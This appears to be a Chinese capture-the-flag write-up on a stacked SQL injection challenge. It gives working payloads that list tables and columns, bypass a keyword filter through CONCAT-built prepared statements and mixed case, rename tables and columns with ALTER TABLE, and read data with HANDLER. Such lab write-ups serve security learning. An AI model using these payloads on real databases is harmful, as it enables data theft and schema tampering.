这题目能这么难我也是没想到
参考总结大佬的博客:https://www.cnblogs.com/joker-vip/p/12483823.html
建议读者去大佬博客看,这里只有我自己看得懂
存在坑点:
- sqlmap无法使用
- 对一系列命令存在过滤:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
方法一:堆叠注入
查表:
-1';show tables --+
查字段:
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+
查值,需要绕过select的限制,使用预编译
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
- -1';
- set @sql = CONCAT('se','lect * from
1919810931114514
;'); - prepare stmt from @sql;
- EXECUTE stmt; #
报错,存在过滤:strstr(\$ inject, "set") && strstr($inject, "prepare")
strstr函数区分大小写,所以更改大写即可:
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法二:改名为易查询对象rename
会查询出words表的data列的结果。也就是类似于下面的sql语句:select * from words where id = '';
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
- 修改表名(将表名user改为users)
alter table user rename to users;
- 修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload如下1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
- 1';
- alter table words rename to words1;
- alter table `1919810931114514` rename to words;
- alter table words change flag id varchar(50);
然后使用1' or 1=1#即可查询出flag
方法三:查找
使用handler查询,payload如下:-1';handler `1919810931114514` open;handler `1919810931114514` read first;#